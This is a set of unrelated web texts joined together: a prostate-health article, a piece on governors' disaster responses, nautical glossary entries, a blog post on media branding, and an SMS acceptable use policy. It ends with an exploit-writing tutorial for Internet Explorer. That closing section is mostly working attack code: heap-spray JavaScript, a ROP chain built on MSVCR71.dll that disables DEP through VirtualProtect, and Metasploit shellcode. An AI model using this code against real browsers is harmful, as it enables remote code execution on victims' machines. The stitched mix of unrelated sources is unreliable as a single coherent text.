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All men want a healthy prostate. Yet many men ignore, or simply do not recognize, the signals that there may be a problem. A man's prostate gland is the control center for both urination and seminary emissions (ejaculations). Of course every man wants the best prostate health.
Foods That Help You Get the Best Prostate Health
The number one thing that experts agree upon is that you need to develop a healthy eating pattern. There is no way that a specific list of foods is a magic bullet that will save you. It's about healthy choices made regularly.
- Choose to eat five fruits and vegetables daily. The Mayo Clinic suggests that you choose vegetables that are high in vitamin C. These include: bell peppers, broccoli, Brussels sprouts, kohlrabi, snow or snap peas, cauliflower, kale, and tomatoes.
- Choose whole-grain, soy free bread instead of white bread. The same is true for any pasta and cereals. They should be whole-grain and soy free.
- Restrict and limit eating red meats. This includes beef, pork, and lamb. It is best to avoid processed meats (lunch meats and hot dogs).
- The best choice for proteins would be fish, skinless chicken (or poultry), beans and eggs.
- Choose healthy fats like olive oil, and for cooking choose grape seed or avocado oil. (Avoid Canola oil which is GMO and could be sprayed with RoundUp [glyphosate]) Other healthy fats include nuts in your diet.
- Avoid fast food as these are high in trans fats (partially hydrogenated fats). This is common in packaged foods.
- Limit and reduce consumption of dairy (milk) and other animal products as these contain saturated fats.
- Sweets should be very limited and reduced to special occasions. This includes all sugar sweetened sodas and fruit juices. Also it is best to eliminate HFC (high frutose corn syrup) from your diet. Many salad dressings and condiments contain HFC. Look for ones that do not typically "organic".
- Reduce and restrict salt. Choose low sodium options. Many canned, processed, and frozen foods may contain excessive salt.
- Eat slowly and watch portion sizes.
Exercise Can Help You Improve Prostate Health
Very few studies have looked at exercise and it's impact on the prostate. However the few studies that have been completed suggest that regular physical activity is good for the prostate gland. Most men start to have prostate problems around the age of 50. The follow-up studies performed at Harvard have shown that men who were more physically active were less likely to suffer from BPH (enlarged prostate).
BPH (Enlarged Prostate)
The study demonstrated that even low to moderate physical activity helped to prevent BPH. The minimal activity intensity was walking regularly at a moderate pace.
Prostatitis (Inflammation of the Prostate)
A randomized, controlled clinical trial in Italy was performed on men diagnosed with chronic prostatitis. The study compared one group of men who did aerobic exercise (this group walked briskly three times a week). The other group did non-aerobic exercise (leg lifts, sit ups, and stretching three times a week). After 18 weeks both groups reported feeling better. However the aerobic exercise group experienced less pain from prostatitis, less anxiety, and less depression. In comparison the group that walked briskly three times a week had a better quality of life.
Prostate Cancer
One study looked at 1,400 men diagnosed with early-stage prostate cancer. The study found a 57% reduction in the progression of prostate cancer when the men did aerobic exercise (walked briskly) a minimum of three hours per week. Men who walked leisurely and not as much were not as fortunate. In a follow-up study, men with prostate cancer that exercised vigorously more than three hours/week reduced their chance of dying from the prostate cancer by 61%. Men who exercised just as vigorously for less than one hour/week did not realize the same benefit.
Before starting any exercise program consult your healthcare provider or physician.
How to Recognize a Prostate Problem
Prostate problems can occur at any age. Most guys believe that it only happens to men over 50 years of age. Identifying prostate problems early can reduce more serious prostate problems. It is important to familiarize yourself with these signs (symptoms) and that you consult your healthcare provider or your doctor.
Common symptoms include: frequent urination; painful urination; blood in your urine; reduced flow or dribbling when you urinate. A serious symptom is inability to urinate. If you notice pain with an ejaculation this is also a symptom. Back pain, pain in your hips or thighs, or pain in your pelvis or rectum could be signs of a prostate problem.
Sometimes prostate problems are not obvious and individuals may have a fever, chills, or lower back pain. Pains in the pelvic floor area or in the abdominal area above the pubic bone may also indicate a prostate problem. If you experience pain and burning when you urinate, or you have difficulty urinating, you have symptoms.
Medical Help is Essential
It is extremely important to urinate. If you are unable to urinate seek immediate medical attention. This can prevent renal (kidney) failure. If you have any of the above symptoms discuss them with your doctor. It is dangerous to put off or postpone seeking medical attention under any circumstance.
An Ounce of Prevention is Worth a Pound of Cure
Men should see a physician regularly (yearly) and when they have a health concern. There is no substitute for a physical to ensure good health. If you under 50 and suspect you have a prostate problem it is important to tell your physician. Most physicians do not expect a younger man to have a prostate problem. Your mention of a problem could save valuable time in getting to a diagnosis. Men should and must realize that going to doctor early can save their life. The major reason that colon cancer is one of the leading causes of death in men is because it is not diagnosed or discovered early.
Can Taking Dietary Supplements Help Me?
Dietary (food) supplements can support good prostate health.* They cannot cure, treat, or prevent a diagnosed or undiagnosed prostate disease or illness. If you use natural prostate remedies the ingredients should have some published clinical data to support your use. You can confirm information about ingredients at NIH.gov (National Institute of Health) website. In the "search" area enter the ingredient and then what it is good for (ex. enlarged prostate). When you perform the search any related studies would be listed below. Be sure to look at the titles of the articles. Click on the articles to learn more. By educating yourself you can ensure best prostate health.
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On Saturday, Colorado Gov. John Hickenlooper was surveying scenes of destruction caused by massive flooding in the Boulder area. He found a dramatic way to help.
His helicopter stopped to pick up two groups of people who had been stranded by the storms.
The Democrat was quick to applaud GOP Rep. Cory Gardner, who was riding with him, for spotting the residents, as well as his pilot for having the skill to make pinpoint landings.
But Hickenlooper was still the one who got the credit in the headlines.
It's always this way with disasters. People don't expect governors to personally lead rescue missions, but they do expect them to take charge and rise rhetorically to the occasion.
"It's sort of like a leadership pop quiz," says Andrew Reeves, a political scientist at Washington University in St. Louis who has studied disaster relief politics.
When political executives — governors, mayors, presidents — rise to the occasion, they're heroes. If they don't, it can imperil both their re-election chances and their broader agenda.
Christie Comes Through
In 2010, Republican Gov. Chris Christie of New Jersey was lambasted for staying at Disney World for a family holiday trip after the state had been hit by a massive snowstorm.
That's all forgotten now. Christie has won plaudits not only for his response to Superstorm Sandy last year, but for a boardwalk fire last week.
To deal with the latter, he canceled another Florida trip scheduled to celebrate his wife's 50th birthday. On Tuesday, the Newark Star-Ledger called him the "master of disaster," saying he "thrived amid chaos."
"One of the things Christie has been masterful at is having it appear that everything is being done by him," says John Weingart, a political scientist at Rutgers University. "He pulls it off and seems to be knowledgeable and in charge."
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People know that politicians aren't responsible for fires and floods, Reeves says, but when disaster strikes there's a natural tendency to punish the incumbent for things going wrong.
Governors can erase those bad feelings through their performance — offering words of comfort and resilience, directing personnel and equipment where they're most needed, securing federal funds.
Hickenlooper has been doing all these things in Colorado, saying that while roads and bridges may be broken, "our spirits aren't broken," and insisting that $5 million in federal funds is just a down payment.
A stalwart response can burnish a politician's image for the rest of his tenure. That certainly was the case in Florida, where former GOP Gov. Jeb Bush's hurricane preparation and response efforts enhanced his image and popularity. And that has been true for Christie, who has not shied from using imagery of Sandy's aftermath in his re-election campaign this fall.
His Democratic opponent, Barbara Buono, in fact, complains that the state's recovery ad campaign — "Stronger Than the Storm" — has provided an unfair boost to Christie's re-election effort.
Some Have Blown It
Most governors didn't run for office thinking about how they would handle a natural disaster. They may have been more concerned about education or tax cuts or their own career advancement.
Once in office, it's easy to forget about the possibility of an emergency when day-to-day burdens are so time-consuming. But they have to be ready to step up to the challenges presented by a crisis, or forever be seen as having missed the moment.
"I've thought long and hard about Katrina — you know, could I have done something differently," George W. Bush said during his last press conference as president, referring to his administration's much-criticized hurricane response in New Orleans in 2005.
A number of mayors have been bedeviled politically when their cities were snarled by snowstorms. During his congressional re-election campaign last fall, Democratic Rep. David Cicilline of Rhode Island was still being criticized by his opponent for his handling of a snowstorm as mayor of Providence five years earlier.
Other mayors have lost their re-election campaigns largely due to their handling of snowstorms, perhaps still most famously Michael Bilandic of Chicago, back in 1979.
"Bilandic was the ultimate example of a very fine man, a very bright man, who was overwhelmed by the job and got hit by the snow and was unprepared," says Paul Green, a longtime observer of Chicago politics at Roosevelt University. "When someone gets to executive office, you've got to step up, and you can't hide."
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A sacred tower or temple in the Orient.
Pairs fishing or pair trawling is done by two vessels, each of which tows half of a large trawl. Otter boards are not needed to keep the net open and the net can be much larger than that towed by a single ship. Pair trawling can be bottom trawling or midwater, in the middle of the water column.
Opened in 1914, the canal connects the Atlantic and Pacific Oceans and is 51 miles long. It crosses the Isthmus of Panama. It was completed by the United States but now belongs to the nation of Panama.
Occurring over a wide geographic area and affecting an exceptionally high number of people. Usually refers to a disease.
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Wrapping the standing rigging ropes with tarred canvas.
In lobstering, the second compartment in a trap into which lobsters crawl to try to escape from the kitchen, the section in which the bait is placed.
Mechanical log, taffrail logColloquial term for any mechanical log or speed measuring device. These were all patented by their inventors.
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A unit of dry volume equivalent to 2 gallons, 8 dry quarts or 16 dry pints. Four pecks make a bushel.
Fish living in the open ocean or seas rather than in waters adjacent to land or inland waters.
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Process of creating energy (sugar) from light, carbon dioxide and water.
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Microscopic plants that live in the ocean, the foundation of the oceanic food chain.
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Microscopic organisms that float freely in the ocean. Plankton is made up of both plants (phytoplankton) and animals (zooplankton).
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Carleen Hawn wrote this piece at Paid Content and Leo Klien followed up with this one commenting on a talk I gave at Macworld Expo.  Now, I really don't take issue with either commenting with some negativity on a public speech I made and how I answered a question from the floor especially when, as is often the case, my answer included "I don't know." (As always, I tried to to offer,  some core advice and provocation for further thought)
Questions about opinion from an audience member at a conference are usually very tough to answer as a speaker because often one is there while either representing an employer or client or, at the least, is bound by the policies of that client or employer. More importantly though for this particular question is that having an opinion of any certainty really needs a lot more facts and exploration than one can get in a 'once back and forth' from a podium. That is unless you're a politician hammering the talking points.
I spoke at Macworld Expo a lot. I probably will again. I truly loved doing it. Great audiences and some very smart questions. Good friends and lots to learn. I'll be honest, I can't remember now which session this was but theirs, Carleens and Leo's, was an interesting response that I couldn't react to at the time because of how conservatively I chose to interpret editorial policy at my former employer.
Now, of course, absent those issues, if somebody were to ask my opinion of a simpler and more black and white  issue, it wouldn't be difficult at all for me to pontificate. It comes to me naturally. 😉 This was a much more complicated question than, for example, "IIS or Apache?".
So, now that I am blessed with the freedom to respond more fully, here goes:
I don't actually  disagree with the conclusions they drew in a general sense. Leo Klein's being embodied in his headline: "Follow Your Users (Because they sure as Hell Aren't Going to Follow You)" and Carleen Hawn's being "But isn't the idea of New Media to leverage as many entities as possible?" and also that she believed I meant to say all content should be free.
What I will say is that both reactions lack important nuances. Being fair to both Carleen and Leo, they wrote much shorter pieces than this one and hadn't the space for nuance. More to the point, I couldn't give them much to go on either. Perils of the context. I would welcome further dialog.
First, 'follow your users'.  It's a great theory and sometimes very good practice. The problem is that's usually much more complicated than it can seem at first blush. There's a pervasive belief among those of marketing sensibilities that, for example, YouTube users are an 'audience' like the '7PM Tuesday Nights' television viewers could be described as an 'audience'. YouTube's users are hardly as easy to pin down demographically speaking as 1980's prime time television viewers are, or even Huffington Post readers are now. You can use whatever metrics research reveals (including that Google are still losing their shirts running YouTube 😉 ) and, now,you can even Google's metrics reporting on your own videos.  Much harder to get are metrics about how else those views worked for your brand. The internet changed the rules. Media producers can't deduce socio-economic data from the addresses of their subscribers (they can geo-locate IP addresses but that's both more and less information than a magazine subscription delivered to a dentist's office). 'Television' producers don't have day-part, prime time, broadcast area and what shows precede or follow theirs 'on air. Advertisers have successfully bludgeoned online media producers into accepting a standard of click-thru rate after decades of being able to sell impressions in the form of column inches and spots. Your shows don't get 'sold' into syndication on UHF. Now, success must be measured by how much passion users have for your content and how connected to, or even aware of your your brand they are. If they have a passion, they'll buy services or products from you. If they are aware of your brand, you can make some sort of case to potential advertisers to pay more than throw-away basic CPM rates.
The tricky part is that, if you're not a believer in 'all content should be free' and you're not blessed with endless resources and able not to care if you go broke making content, then you need to figure out how to monetize your content.
I'll pause here and respond to that aspect of Carleen's article: "I take by this, that he means the point of view that content can and should be free"
I don't actually believe all content should be free. I do think you need to recognize the changes to the business of media that the web has caused and react and adapt.
I will say, and this may have contributed to her interpretation of what I said at the conference; I  have always believed all Public Broadcasting content should be free. That's a personal philosophical position driven by a passion for the social importance of independent publicly funded media and the pragmatic view that we, American taxpayers, have already paid for it once. Paid for it, in part, with tax money, that most (all?) public broadcasters are non-profits and tax exempt themselves, that they also receive less obvious public funding sources like spectrum allocation and must carry as well as not-specifically-targeted-for-broadcasting public money like NEA and NSF grants.  I also happen to think, we should pay more for Public Broadcasting with legal carve-outs for rights and 'full' public funding to ensure it can again be unfettered by any need (real or imagined) to 'compete' with commercial media on the same playing field but that's a topic for another day….
However, most content producers aren't publicly funded and, the fact is, I don't believe any force should impose 'free' on their hard work the same way as it should on publicly funded material. So….
It is true that while I don't like, or believe current paywall strategies are or will be successful , Free (as in Beer) content doesn't have to be free as in "creators can't make money off it."
A smart strategy for making money off media is to deliver value you can either sell advertising against, or have added value products you sell using the 'free' stuff as a loss-leader. Now, there's a lot more writing to be done here about what that means and how to do it but for now, I hope it's clear that there is a divergence in my opinion about what publicly funded media should be and what commercial media should be, and that getting into this whole aspect tangled up in the question at the time wasn't an option for me while employed by a public broadcaster and speaking at a conference.
So, back to the idea of 'following your users'. I don't recall whether the questioner self-identified as a Journalism School teacher but, presumably they did for Carleen to report it. My response, and damn I love the rare occasions when I can manage pithy, was; "When your MySpace page gets more traffic than your company's website that is a Capital 'B' bad thingâ€.
That is the core of the matter. If your efforts to reach out to new audiences accrues to your traffic and your identity online then you're doing it right. If you are 'syndicating' yourself into irrelevance then you haven't a prayer of monetizing your content. I wrote a piece about how Daring Fireball does some very slick things to keep touch with their audience here and I have Tweet This running here to help my readers post their interest in what I write to Twitter and Facebook. I also have an RSS feed running summaries of the articles. I've even piggy-backed on YouTube's bandwidth to embed videos but linked back to the site of the artist and their iTunes store. Â That band hosts a free download of one song on their website and links to their iTunes store. Loss leader.
The reality is there are forces akin to gravity; user expectations, anonymity , 'piracy' and ever more easy to use technology that will try to make content 'free as in beer' but that doesn't mean, at all, that creators of quality content can't or shouldn't monetize their content.
What's going wrong for so many content creators is that they so often utterly fail to recognize and work with those forces. An example, ironically, of how they fail is that, because of when the question was asked, the topic was the now fading away  MySpace. Any investment the a content producer made in a presence on MySpace is now of significantly diminished value. If they succeeded in exploiting MySpace and driving traffic to their own canonical presence? Great! If, as is usually the case, they diluted their brand and furthered the fragmentation of their audience, then they not only spent money trying to reach a shrinking audience, they undermined themselves in the process in such a way that they'll have an even harder time recovering that audience then, not great. The same risks, by the way, apply to investing in Facebook and Twitter, todays 'growth' audiences, because something else will be along any minute. MySpace as a gathering space for musicians and music fans is, for example, up against the wall from this: Ping.
A person very dear to me who I have enormous respect for invested a measured amount to promote her brand on MySpace. In this case, it was an old, highly regarded and venerable brand. I told her that promoting the brand on MySpace was like dressing it up in clear high heels. Perhaps a bit harsh I'll admit but the reality is that for many places one might follow one's users, establishing a presence there can dilute your brand. Is this a brand that would be enriched by MySpace Ettinger of London? Do you really want your brand and your content everywhere? Are MySpace users really your users? Heck, and this is an even more complicated question, are the people who may be your users, in a mode at MySpace that will feel appropriate for them to see you there? Does the kid discussing the newest release from Lady Gaga really want their friends to see them showing an interest in the the Times' Best Seller list? Perhaps they want to be in the closet about their inner bookworm when hanging out with the cool kids on MySpace.
So, while there's a lot more to be said on these issues, and that's a large portion of the goals of this site, the answer to the question I'd offer that J-School teacher now would be:
'I think you need to recognize the differences between how your students would use a MySpace and a blog at your official school site. Understand that the social interactions one would have on a personal level on MySpace are and should be different for them as individuals and them as aspiring professionals. Frankly, if I were you, I would encourage those students to keep their personal and social interactions off your official school site to preserve your brand. Â I'd encourage them to consider that any articles, columns and opinion pieces they wrote and posted to your official site would accrue to their brand by association with your school. I'd explain that their presence on social networks could, in fact, impact their careers. I'd explain that there was an opportunity for them to be published under a nominal masthead that would benefit their image in the future and, I'd positively kill myself to work with the school's IT department to make the experience as easy to use for the students, structured, discoverable and accessible and exposed to the public internet for search as possible. Finally, I would implement an editorial policy that established a balance between the need to build a critical mass of quality student work and giving those students the opportunity to express themselves. I'd make sure that whatever rights agreement your school made with the students was fair and reasonable and preserved their rights and the school's. Hypothetically, license that becomes non-exclusive when they graduate." Now, that advice is for the J-School professor who, presumably, had the business interests of the school in mind. Â More content on their site, managed with a clear editorial policy accrues to their reputation. Being able to more successfully help their students launch their careers accrues to the students' future ability to donate when the school later hits up the alums to buy a new wing for the dorms.
Now, what would I tell the J-school student who asked me the same question?
"You're much better off posting your work to the J-School's site and welcoming their editorial help to improve your work, if you can negotiate fair terms with them, than posting to MySpace. When you have had some success at the school's site, you can and should host your own blog at your own domain. Oh, and if you're hoping to be a journalist? Learn to be a Journalist, as in facts and sources, and a lack of personal opinion bias. When you get old, then you can do opinion pieces and you can blog on your own time."
Carleen asks at the close of her piece: "So what's wrong with posting everything  […] on MySpace and YouTube with a link to your home page?"
When you do, you dilute your brand. Your content is monetized by MySpace and YouTube. Your brand is diluted by their brand. Their UI, their video quality. Their technology choices. What content they decide is related to yours. That users can see how your content 'ranks' against the content that has been related to yours. What advertisers they sell views of your content to to promote themselves. If it's a MySpace? The mere association is arguably brand-tarnishing for anything but the teen set. Every dollar you spend promoting your presence on MySpace, Facebook or anywhere but your own 'home' is just, well, gone.
In managing your presence online as a content producer, your first goal must always include increasing your audience's perception of your value. That means, in large measure, your own site's search engine rank and what other brands your content is associated with (to the limited extent that can be controlled at all) and you must always recognize that aggregators and social networking sites are in business to exploit other people's content. That's fine. That's their business. Your job is to make it symbiotic rather than parasitic. Posting a whole piece with a link to your home page is hardly optimizing the possible value.
– Jon


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If you have any questions about restrictions set out below, if you need to file a complaint or wish to inform us of a breach of this Policy, please contact Smstools at email@example.com with all the relevant details.
Before we get into the dos and don'ts, there are some ground rules that you should be aware of:
We may in our sole discretion determine whether you are in violation of this Acceptable Use Policy. In doing so, Smstools reserves the right to view the content of your messages in accordance with our General Terms and Conditions or the master agreement separately entered into with you, whichever is applicable.
When the user behaviour violates this policy, Smstools will provide information to law enforcement personnel or to third parties who reasonably claim to have been harmed by such conduct. We will only provide the necessary information and limit the amount of disclosed information as much as possible.
We are not legally responsible for any misinterpretation, lack of understanding, or lack of knowledge regarding the use of our Services and the information hereunder. Our failure to enforce this policy in a particular instance shall not amount to a waiver of Smstools's rights hereunder or in the event of any future violations of this policy.
You agree to indemnify, defend and hold harmless Smstools from any and all third party claims, liability, damages and/or costs (including but not limited to attorney fees) arising from your violation of this Acceptable Use Policy. Smstools reserves the right to update this Acceptable Use Policy at any time. When changes substantially affect your rights and obligations, you'll be notified in advance. You'll be given the time to review the changes and decide whether to continue using our Services in accordance with our new terms.
We cannot write all the things you should refrain from doing. The list below is provided by way of example and is not exhaustive. It is your exclusive responsibility to comply with all applicable laws and regulations when sending SMS or making calls through our APIs. We strongly encourage you to review your proposed use case(s) with a qualified legal counsel to make sure your intended practice(s) comply with the applicable laws and regulations. You can find examples on our webpage.
With no limitation to the following, your use of our Services, including the content of the communications you send through us:
shall not be false, inaccurate, misleading or fraudulent (including, without limitation, by creating a false identity or forged email address or header, or phone number, or otherwise attempting to mislead others as to the identity of the sender or the origin or contents of a message or other communication using your account).
shall not infringe any third party's copyright, patent, trademark, trade secret or other proprietary rights or rights of publicity or privacy;
shall not violate any law, statute, ordinance or regulation (including without limitation those governing export control, consumer protection, unfair competition, anti-discrimination or false advertising, privacy and data protection);
shall not be defamatory, trade libelous, unlawfully threatening or unlawfully harassing;
shall not engage in any activity that the Belgian Authority for Consumers and Markets or any similar entity or authority in any other jurisdiction has restricted or regulated with regard to proper use of the public telephony network;
shall not be obscene or contain child pornography;
shall not contain any viruses, Trojan horses, worms, time bombs, cancel bots or other computer programming routines that are intended to damage, detrimentally interfere with, surreptitiously intercept or expropriate any system, data or personal information;
shall not create liability for us or cause us to lose (in whole or in part) the services of our ISPs or other partners, affiliates, Users or suppliers;
shall not in any manner violate the Mobile Marketing Association guidelines and/or best practices, carrier guidelines, or any other industry standards;
shall not violate the requirements of Smstools, a mobile operator, regulator or self-regulatory body;
shall not in any manner violate any applicable third party policies or requirements that Smstools has communicated to you;
shall not sublicense, resell, timeshare or similarly exploit the Services;
shall not adversely impact the availability, reliability, or stability of the Services;
shall not launch or facilitate, whether intentionally or unintentionally, a denial of service attack on any of the Services;
shall not attempt to bypass or break any security mechanism on any of the Services or use the Services in any other manner that poses a security or service risk to Smstools, to any user of our Services, or to any of our or their respective customers;
shall not reverse-engineer the Services in order to find limitations, vulnerabilities or any ways to evade filtering capabilities;
Shall not forward from a Smstools virtual number to a dead endpoint (e.g. if you forward from a virtual number, you must make a reasonable attempt to receive or answer the message, as applicable;
Shall not offer any Emergency Services to users. "Emergency Services" shall mean services that allow a user to connect with emergency personnel or public safety answering points (PSAP) such as 911/112 or E911 services.
Shall not authorize, permit, enable, induce, or encourage third party to do any of the above.
Shall not use the Services, or any component of the Services, in any manner not authorized by Smstools.
We provide you the tools… and some guidance too! We've put together a list of common mistakes to help you assess the legitimacy of your Smstools application. If you do any of the following, DON'T!
Disregarding the applicable laws
Depending on which country you are sending messages to and from, restrictions apply. Use our support resources as guidelines and seek legitimate consultation elsewhere to make sure your SMS strategies comply with all the applicable laws. Our useful support pages will help you navigate through them. Here, you can find (almost) everything you need to know about each country we operate in. You can learn about number restrictions too. Again, this is not a legal advice; just a reminder that laws exist and (most likely) apply to you.
Using Smstools numbers to provide emergency services (such as 911/112-type of communication
We operate an IP-based phone service and not a traditional phone service. What we offer is not a replacement or a substitute for your landline. Users are not allowed to use Smstools numbers and services for emergency services. Our services can be used to provide information during an emergency but not as means to contacting the emergency services themselves. Nevertheless, it is okay to send non-life threatening alerts and notifications, such as event cancellations and early warning alerts. In case of important notifications, Smstools recommends to build redundancy by deploying different alert mechanisms like alarms and sirens, when possible.
Misrepresenting your identity (spoofing)
Be (and only be) yourself. You should not fraudulently identify yourself when you send SMS messages to end-users. Spoofing the Sender ID or otherwise attempting to send misleading messages to end-users in respect to your true nature is never allowed. It is a good practice to always identify your brand or name in each message and to always retain evidence of prior (internal) authorization when/if you are sending messages on behalf of third parties.
Sending unsolicited messages without prior consent.
You should only send SMS to recipients who have explicitly opted in to your campaigns and are expecting communication from you. Opt-in must be explicit. This means that you should not assume consent on the basis of published and available contact details. If phone numbers are available on a website, that does not give you permission to add them into your marketing lists without prior approval. Also, refrain from buying third parties lists and from contacting end users on do-not-call or do- not-disturb registries. There are no "totally cool and reliable lists of 1 million opt-in emails". One more advice. Keep a documentation of lawful opt-in consent. You might need it.
Violations of these provisions might result in deactivation and third party liability. Smstools actively makes sure that this practice is respected. You agree to our right to request opt-in proof, together with other relevant information such as the general purpose of your SMS campaign(s) and an SMS sample.
If you fail to provide evidence of confirmation of your recipients to have opted in for receiving these messages within 24 hours from the delivery of our request, Smstools reserves the right to deactivate your account.
When this occurs, the purchased credits will be refunded. We will also block your account in case of complaints from any third-party and/or recipient/end user or where your behaviour is reasonably believed to violate our Terms of Use and this policy.
Do not spam. Do not spam. Do not spam.
If they don't reply, they're not interested. That said, you should not send multiple, identical, and/or similar messages to the same destination/recipient. Be aware that some countries allow companies to use certain types of messages only during certain hours of the day.
Sending mass marketing or bulk messaging
SMS marketing strategies have a wide range of benefits. However, they have their own rules. Mass marketing restrictions apply and vary from country to country. You can read more about Bulk SMS too. In the Netherlands, there are different requirements depending on whether you operate peer to peer (P2P) or application to person (A2P) services. Operators in the US reserve the right to filter and block bulk messages when using 10-digit numbers when sending those messages.
Engaging in fraud or phishing
We do not support nor accept fraudulent activities. For example, collecting confidential information by requesting responses via SMS without prior contact and/ or consent is not allowed. If you are an end-user victim of a similar practice, you can report a violation here. We will make sure to investigate and take the appropriate steps to stop such behaviour without undue delay. We also recommend you to bring your case before the relevant consumer protection authority in your jurisdiction.
Harassing or Sending SMS with obscene or objectionable content
Do not send pictures or texts that contain or promote or in any way potentially further illegal activities or violate any applicable laws and/or accepted best practices which are likely to cause offense to recipients. Sending threats and any unwanted SMS messages is not allowed either. Engaging in activities or transmitting through the Services any information that is libelous or defamatory or otherwise malicious or harmful to any person or entity, or discriminatory based on race, sex, religion, nationality, disability, sexual orientation or age is prohibited.
If you operate in the US, you may be subject to the HIPAA Privacy Rule, which provides federal guidelines around covered entities and their business associates hold personally identifiable health information, and patient rights with respect to that information. HIPAA laws apply to 'covered entities'; Smstools is not a covered entity, nor does it identify as a 'business associate'. Many customers build their applications in a manner that is compliant with HIPAA rules while still using CPaaS providers such as Smstools as part of their workflows. If customers have questions about HIPAA compliance for their business, Smstools recommends that they consult their own legal counsel for guidance. This information is provided as a courtesy; it is not intended to be comprehensive, nor does it replace official HIPAA standards. Smstools does not provide legal advice, and it is up to customers to ensure compliance with any local laws.


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Lately I have been learning to write some exploits for some of my old discovered vulnerabilities to get it working on Windows 7 with IE9. Previously when exploiting vulnerabilities my POCs had always been on Windows XP IE6 just to make sure it worked and not having to worry about all the mitigations in later versions. In this post I am just sharing some basic info which will hopefully to help others when writing/understanding exploits for the first time while at the same time keeping it simple and not worrying to much about performance or precision. In my old exploits I used the heap spraying code below when testing on IE6. (Just removed the un from unescape as Symantec's Endpoint Protection doesnt like it in this section, maybe they are just too close to each other 🙂 as the following unescapes are fine)
<SCRIPT language="JavaScript"> var calc, chunk_size, headersize, nopsled, nopsled_len; var heap_chunks, i; calc = escape("%ucccc%ucccc"); chunk_size = 0x40000; headersize = 0x24; nopsled = escape("%u0c0c%u0c0c"); nopsled_len = chunk_size - (headersize + calc.length); while (nopsled.length < nopsled_len) nopsled += nopsled; nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (i = 0 ; i < 1000 ; i++) heap_chunks[i] = nopsled + calc; </SCRIPT>
From IE8 things had changed not only because it supported DEP but heap spraying for the above code did not spray the heap. After going through some exploits a realised the only change from the above code I really had to make was by spraying the heap using "substring" function. So the code would now look like this
code = nopsled + calc; heap_chunks = new Array(); for (i = 0 ; i < 1000 ; i++) heap_chunks[i] = code.substring(0, code.length);
Trying this heap spray code now on Windows 7 with IE9 again failed to spray. After reading Peter Van Eeckhoutte's heap spraying tutorial on how heap spraying was achieved in IE9 got me thinking to see if I could simplify the code and after a few tests it literately came down to just changing one byte in each chunk. So my final spray code ended up is adding a count to each chunk just to make it unique
for (i = 0 ; i < 1000 ; i++) { codewithnum = i + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); }
nopsled = unescape("%q6224%u7c37"); // 0x7c376224 RETN [MSVCR71.dll]
Putting it all together we now get a working script for Internet Explorer 6/7/8 and 9. (I had to replace the u with a q otherwise the formatting on the browser gets messed up).
<SCRIPT language="JavaScript"> function padnum(n, numdigits) { n = n.toString(); var pnum = ''; if (numdigits > n.length) { for (z = 0; z < (numdigits - n.length); z++) pnum += '0'; } return pnum + n.toString(); } var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code; var heap_chunks, i, codewithnum; // // !mona rop -m msvcr71.dll // * changed from default mona rop chain output // rop = unescape( "%q2e4d%q7c36" + // 0x7c362e4d, # POP EBP # RETN "%q2e4d%q7c36" + // 0x7c362e4d, # skip 4 bytes "%qf053%q7c34" + // 0x7c34f053, # POP EBX # RETN "%q00c8%q0000" + // 0x000000c8, # 0x000000c8-> ebx (size 200 bytes) * "%q4364%q7c34" + // 0x7c344364, # POP EDX # RETN "%q0040%q0000" + // 0x00000040, # 0x00000040-> edx "%qf62d%q7c34" + // 0x7c34f62d, # POP ECX # RETN "%qe945%q7c38" + // 0x7c38e945, # &Writable location "%q496e%q7c36" + // 0x7c36496e, # POP EDI # RETN "%q6c0b%q7c34" + // 0x7c346c0b, # RETN (ROP NOP) "%q2adb%q7c37" + // 0x7c372adb, # POP ESI # RETN "%q15a2%q7c34" + // 0x7c3415a2, # JMP [EAX] "%q4edc%q7c34" + // 0x7c344edc, # POP EAX # RETN "%qa151%q7c37" + // 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF * "%q8c81%q7c37" + // 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN "%q5c30%q7c34"); // 0x7c345c30, # ptr to 'push esp # ret ' // // ruby msfpayload windows/exec cmd=calc.exe J // windows/exec - 200 bytes // http://www.metasploit.com // VERBOSE=false, EXITFUNC=process, CMD=calc.exe // calc = unescape( "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" + "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" + "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" + "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" + "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" + "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" + "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" + "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" + "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" + "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" + "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" + "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" + "%q6c61%q2e63%q7865%q0065"); // chunk_size = 0x40000; headersize = 0x24; nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll] nopsled_len = chunk_size - (headersize + rop.length + calc.length); while (nopsled.length < nopsled_len) nopsled += nopsled; nopsled = nopsled.substring(0, nopsled_len); code = nopsled + rop + calc; heap_chunks = new Array(); for (i = 0 ; i < 1000 ; i++) { codewithnum = padnum(i,4) + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); } </SCRIPT>
Here are two images from the top and bottom of one of the chunks.
One thing to note is that the calc shellcode size in the above example is 200 bytes and this size needs to be set in our rop chain. Due to the fact that the shellcode is at the bottom of the chunk if the size used by VirtualProtect is greater than our shellcode it reads past the chunk leading to an invalid address and triggering an exception.
Here is an example of an exploit I wrote for testing purposes. I discovered this one quite some time ago. The ActiveX library awApi4.dll from "Vantage Linguistics AnswerWorks" contains a number of vulnerable stack-based buffer overflow methods. The Secunia advisory link is here. The ActiveX control had been killbitted at the time with a Microsoft patch MS07-069/942615.
